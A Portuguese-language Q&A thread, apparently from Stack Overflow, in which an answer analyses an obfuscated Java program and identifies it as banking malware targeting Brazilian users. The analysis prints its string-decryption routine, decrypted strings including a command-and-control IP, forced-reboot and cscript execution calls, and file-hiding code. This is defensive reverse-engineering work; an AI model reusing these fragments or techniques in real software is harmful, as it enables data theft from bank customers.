-9

Recebi o programa em Java do link abaixo e gostaria de saber o que faz. Não estou conseguindo entendê-lo.

O código está neste pastebin: http://pastebin.com/mT3rHWP0

Desculpe por não anexar o código aqui, mas ele é grande demais para anexar, pois ultrapassa o limite de 30000 caracteres para perguntas. Além disso, não consigo simplificá-lo para postar aqui (é isso uma das coisas que eu gostaria de ser ajudado).

8
  • 6
    Esse código tá com cara de te sido obfuscado e tentaram reverter. Ele pertence a você?
    – user28595
    Commented 14/10/2016 às 14:20
  • Este código foi obtido através de engenharia reversa? Commented 14/10/2016 às 14:32
  • Acredito que esse tipo de pergunta não esteja de acordo com os termos da comunidade, não acho que desvendar um código feito por outra pessoa (possivelmente configurando um roubo de propriedade intelectual) deveria ser respondido. Commented 14/10/2016 às 14:39
  • @LucasQueirozRibeiro Não dá para dizer que seja roubo de identidade ou não. Já vi casos onde uma empresa acaba tendo que fazer esse tipo de coisa em códigos dela mesma onde o fonte foi perdido. Commented 14/10/2016 às 14:43
  • Apaguei os meus comentários porque a minha resposta já aborda tudo o que estava escrito neles. Commented 14/10/2016 às 15:26

1 Resposta 1

8

TENHA CUIDADO AO EXECUTAR ESSE CÓDIGO

ESSE PROGRAMA É UM VÍRUS

O que ele faz:

  1. Detecta o Locale e se recusa a fazer qualquer coisa se ele não detectar que o sistema operacional esteja configurado como sendo no Brasil e em língua portuguesa ou se a máquina já tiver sido infectada (o que ele detecta ao procurar o arquivo APPDATA/Sun/Java/Deployment/Sun.jar).

  2. Cria e executa scripts em vbscript que rodam na inicialização do sistema (pasta "startup"). Após concluída a instalação, um desses scripts será executado sempre que o usuário pressionar Ctrl+Alt+F.

  3. Faz upload de arquivos GPC para o IP 191.252.3.83. Esses arquivos são referentes ao módulo GbPlugin, de segurança do Banco do Brasil e também usado por outros bancos. Ele também envia informações sobre o seu sistema operacional, o serial do seu disco rígido e o seu IP para esse mesmo destino malicioso. Ele primeiramente converte os dados para uma string de caracteres hexadecimais escritos de trás para frente, para dificultar a detecção.

  4. Faz o download de arquivos, os compacta (usando o algoritmo GZIP), os coloca em pastas ocultas com nomes aleatórios dentro da pasta "APPDATA" e os executa. Ele utiliza para esses arquivos as extensões ".mp3", ".jar", ".bat", ".wmv", ".xml" e ".pdf".

  5. Reinicia a máquina forçosamente, garantindo que o seu sistema fique comprometido.

Esse código está ofuscado. O comentário do começo deixa claro que ele foi descompilado. O processo de ofuscação bagunçou com todos os nomes de variáveis, tornando-os em coisas sem sentido. Além disso, valores de Strings e constantes estão criptografados.

Para desentrelaçar esse emaranhado e descobrir o que o código faz, o primeiro passo é renomear as variáveis.

Por exemplo:

    public static boolean GDDSSZZXXVVNNaabcceegghhjUOPPKKJJ(String pprrsuuxxzzwQQEETTYIIOOLLJJHHFFDDAAXCCCBBNaacddffgiggijjmmo) {
        File ddffhhiillmmooqqXCBBaaac = new File(pprrsuuxxzzwQQEETTYIIOOLLJJHHFFDDAAXCCCBBNaacddffgiggijjmmo);
        boolean wwWWEtttuxxyy = ddffhhiillmmooqqXCBBaaac.exists();
        return wwWWEtttuxxyy;
    }
  • pprrsuuxxzzwQQEETTYIIOOLLJJHHFFDDAAXCCCBBNaacddffgiggijjmmo -> caminhoDoArquivo

  • ddffhhiillmmooqqXCBBaaac -> arquivo

  • wwWWEtttuxxyy -> existe

Eis o resultado:

    public static boolean GDDSSZZXXVVNNaabcceegghhjUOPPKKJJ(String caminhoDoArquivo) {
        File arquivo = new File(caminhoDoArquivo);
        boolean existe = arquivo.exists();
        return existe;
    }

Com isso fica claro o que esse método faz, e então podemos renomeá-lo e simplificá-lo:

    public static boolean arquivoExiste(String caminhoDoArquivo) {
        return new File(caminhoDoArquivo).exists();
    }

E então você vai fazer isso com todos os métodos, um a um. Como se fosse um quebra-cabeças, aonde para resolver uma parte mais complicada você tem que primeiro resolver uma mais simples. E então, você começa com os métodos mais simples para depois fazer os mais complicados.

Há algumas partes que fazem a criptografia de outras partes do programa. Em especial esses três métodos são os mais importantes:

public static String uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(int Nu) {
    byte[] ZCCBNNaabbddfggiijjHHFFDDAZ = new byte[]{47, 56, 67, 66, 67, 47, 80, 75, 67, 83, 53, 97, 100, 100, 105, 110, 103, 85, 84, 70, 45, 68, 69, 80, 83, 105, 106, 109, 110, 112, 112, 114, 115, 115, 117, 117, 118, 118, 122, 122, 119, 81, 81, 69, 69, 82, 82, 89, 89, 73, 73, 79, 79, 76, 75, 75, 72, 72};
    return new String(ZCCBNNaabbddfggiijjHHFFDDAZ, Nu, 1);
}

private static byte[] WWEETTYIIIPuuxxzzww(String HHFFDDAAZZCCBBNNaYIOOLLKK) {
    byte[] jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi = new byte[HHFFDDAAZZCCBBNNaYIOOLLKK.length() / 2];
    int i = 0;
    while (i < jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi.length) {
        String iillmmoopprrttuuxxzwwWWEETTYYIIPPLaacddffg = HHFFDDAAZZCCBBNNaYIOOLLKK.substring(2 * i, 2 * i + 2);
        int XXCCBBaaaccddfhhiillmmooqqrrttuuxxyywwJHHFSSAA = Integer.parseInt(iillmmoopprrttuuxxzwwWWEETTYYIIPPLaacddffg, 16);
        jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi[i] = (byte)XXCCBBaaaccddfhhiillmmooqqrrttuuxxyywwJHHFSSAA;
        ++i;
    }
    return jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi;
}

public static String SAAXXCCBBaaaccddfLJJHHFFS(String PPLLJJGGFFSSSAAXVVVBaaaacEETTUUII) throws Exception {
    byte[] lnnoqqrrttvvxxyywwWWReefhhiil = Vegimmnp.WWEETTYIIIPuuxxzzww(PPLLJJGGFFSSSAAXVVVBaaaacEETTUUII);
    Cipher KJJGGFFSSSZZXXVVBBaabcceeffhjjllnnoTTUUIPPK = Cipher.getInstance(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(21)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(22) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(24) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(0) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(2) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(3) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(4) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(5) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(6) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(7) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(8) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(9) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(10) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(23) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(11) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(12) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(13) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(14) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(15) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(16));
    DESKeySpec xyyQQWWRRTTUUOOPPKKJJGGDSSZZXXXVNNaabccqqsttvvx = new DESKeySpec(ggillmmooprrtNNaccddf.getBytes(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(17)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(18) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(19) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(20) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(1)));
    SecretKeyFactory nnpqqssttvzzyyQQWWRRYYUOOPegghjjll = SecretKeyFactory.getInstance(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(21)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(22) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(24));
    SecretKey SZZCCVKKHGGDDS = nnpqqssttvzzyyQQWWRRYYUOOPegghjjll.generateSecret(xyyQQWWRRTTUUOOPPKKJJGGDSSZZXXXVNNaabccqqsttvvx);
    IvParameterSpec egghjjmmnnppqqsuuvvzzyyQQEERRYUUOOLLKHNaabbdde = new IvParameterSpec(ggillmmooprrtNNaccddf.getBytes(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(17)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(18) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(19) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(20) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(1)));
    KJJGGFFSSSZZXXVVBBaabcceeffhjjllnnoTTUUIPPK.init(2, (Key)SZZCCVKKHGGDDS, egghjjmmnnppqqsuuvvzzyyQQEERRYUUOOLLKHNaabbdde);
    byte[] CCVVNaabbdeeggiijjmnnpprrGGDDAAZZ = KJJGGFFSSSZZXXVVBBaabcceeffhjjllnnoTTUUIPPK.doFinal(lnnoqqrrttvvxxyywwWWReefhhiil);
    return new String(CCVVNaabbdeeggiijjmnnpprrGGDDAAZZ);
}

O que exatamente isso faz? Isso é a parte responsável por desencriptar muitos dos segredos do programa, o que pode ser deduzido pelo uso de classes tais como SecretKey, SecretKeyFactory e Cipher. Você pode usar o depurador (debugger) e alguns System.out.println para entender que valores estão sendo manipulados por este método.

Além disso, o teste que fiz abaixo confirma que isso serve para desencriptar algumas coisas. Por exemplo, eu fiz o seguinte teste com algumas das strings encriptadas existentes no programa:

public static void main(String[] args) throws Exception {
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("48b7bda975cc41e6716484a94b74cccccb6be918ad95414abfb3ca29acc894409d7118cedf6c560389bb72ec45f47a9de1d535737acf4db7"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("c7ebe084d263c6a0"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("8e44e85efe2cce2652e7cb552572cd96ca54a4fb172beb92f4ca05e9f8312239"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("c9fdd6ece6b2278dfaad22350fb54187"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("0763ff114133fb7e"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("f97815b28e5a1bd5"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("8b3a37900826a2005e5a4557a7c48821"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("ae702fe2558f88239e0813851c07cb9b"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("5afe0cfeed4375da9a8a61e3c8f54b357a9db2aebaf3df97bb6502bbeca5e5aebf3d48cfdf69e005"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("4840f3430f6e49578c97693ce45fa1a28f5066451b7ed265"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("beeb93a7429eff3305c986801a0df210"));
    System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("75090231081454157b1d08e3c1f35afb8b4ead755bc7be5f"));
}

Eis o que ele mostra na saída:

Set WshShell = WScript.CreateObject("WScript.Shell")
8
/Sun/Java/Deployment/Sun.jar
191.252.3.83
APPDATA
http
/pdf/jjgf.pdf
dos:hidden
shutdown -r -t 30 -c Atualizando...
ProgramFiles(X86)
\\AppBrad\\
cscript //NoLogo

Assim sendo, você poderia substituir Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("c7ebe084d263c6a0") por "8" e Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("48b7bda975cc41e6716484a94b74cccccb6be918ad95414abfb3ca29acc894409d7118cedf6c560389bb72ec45f47a9de1d535737acf4db7") por "Set WshShell = WScript.CreateObject(\"WScript.Shell\")" e assim ir simplificando e desencriptando o código. No final, após desencriptar tudo, você provavelmente poderá jogar fora esses métodos de descriptografia.

Há um problema de compilação referente a uma linha com um String.this. Não sei porque o descompilador errou aqui, mas eu coloquei apenas um null no lugar para poder compilar. Quando você desofuscar várias das partes do programa, isso deve ficar mais claro e daí você conserta esse lugar.

EDIT: No caso, o que deveria estar no lugar do String.this é o segundo parâmetro do método que envolve a classe anônima onde o String.this foi colocado (ou seja, aabbceeghhjjllnnppqqsttvvzzyQQWWRYYUUOPPKKHHGSSZXXVVN).

Tal como explanado acima, esse código é um vírus. Ele mexe com arquivos e com comandos em VBScript. Além disso, ele também produz URLs:

public static String vvzwwQEERRnpprrsuu() throws UnknownHostException {
    String ZZCCBBNNaabKHHFFDDA = new String(InetAddress.getLocalHost().getHostName());
    return ZZCCBBNNaabKHHFFDDA.toUpperCase();
}

E ele também conecta na internet:

HttpURLConnection ZCCVVNNabbddeegiijjmnnpprrsuuvvzwwQQERRYYIIOOLLJJHHGGDDAA = (HttpURLConnection)vzyyQQEERRYYUOOLLKjmnqsuuv.openConnection();

E também executa outros programas/instruções:

public static void WWEETYYIIPPLJJHHFFSSAAXXCCBaaaccdfttuuxzzw() throws Exception {
    Runtime.getRuntime().exec(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("5afe0cfeed4375da9a8a61e3c8f54b357a9db2aebaf3df97bb6502bbeca5e5aebf3d48cfdf69e005"));
}

Isso é descriptografado em:

public static void WWEETYYIIPPLJJHHFFSSAAXXCCBaaaccdfttuuxzzw() throws Exception {
    Runtime.getRuntime().exec("shutdown -r -t 30 -c  Atualizando...");
}

Ou seja, força a reinicialização da máquina onde é executado.

E também:

Process ywwWRRTTUUIPrrttvxxy = Runtime.getRuntime().exec(String.valueOf(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("75090231081454157b1d08e3c1f35afb8b4ead755bc7be5f")) + ttuxxzwwWWEETTYIIPPLLJJHHFFSSAAXCCBBaaaaclmoopprr.getPath());

Isso daí é descriptografado como:

Process ywwWRRTTUUIPrrttvxxy = Runtime.getRuntime().exec(String.valueOf("cscript //NoLogo ")) + ttuxxzwwWWEETTYIIPPLLJJHHFFSSAAXCCBBaaaaclmoopprr.getPath());

Ou seja, inicia a execução de um outro programa.

Altera atributos de arquivos:

public static void jjllnooqsstbbcceffh(Path RRTTUUOOPvvxyyQWW) throws Exception {
    Files.setAttribute(RRTTUUOOPvvxyyQWW, Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("ae702fe2558f88239e0813851c07cb9b"), true, new LinkOption[0]);
}

Isso é descriptografado em:

public static void jjllnooqsstbbcceffh(Path RRTTUUOOPvvxyyQWW) throws Exception {
    Files.setAttribute(RRTTUUOOPvvxyyQWW, "dos:hidden", true, new LinkOption[0]);
}

Ou seja, ele esconde arquivos.

Ele também lê variáveis de ambiente:

jjllnooqqsstvvxxyyQWWRRTTUOOPPKKJGGDDSSZbbcceffh = String.valueOf(System.getenv(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("4840f3430f6e49578c97693ce45fa1a28f5066451b7ed265"))) + Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("beeb93a7429eff3305c986801a0df210");

Isso é descriptografado em:

jjllnooqqsstvvxxyyQWWRRTTUOOPPKKJGGDDSSZbbcceffh = String.valueOf(System.getenv("ProgramFiles(X86)")) + "\\AppBrad\\";

Depois de algumas horas de trabalho, finalmente terminei de desofuscá-lo e desencriptá-lo por completo, de forma que eu tenho uma versão legível do código dele. Entretanto, não vou postar porque trata-se de algo muito perigoso. Apenas afirmo que quem o fez é um completo babaca. O código também tem algumas más práticas de programação. Eis aqui algumas das coisas nefastas que ele faz:

  • Cria diversos arquivos no sistema.
  • Varre o sistema procurando por arquivos específicos do GbPlugin, que é o módulo de segurança do Banco do Brasil e os envia pela internet.
  • Esconde arquivos e pastas.
  • Conecta na internet para fazer upload e download.
  • Baixa programas da internet e os executa.
  • Cria e executa scripts em VBScript.
  • Lê as variáveis de ambiente.
  • Força a reinicialização da máquina.
  • Lê o número serial do disco rígido e o envia pela internet, junto com o seu IP e detalhes do sistema operacional.
  • Cria um script que é executado na inicialização do sistema por meio de um atalho.

Além disso, o autor disso claramente está fazendo um grande esforço para tentar esconder a finalidade do código.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .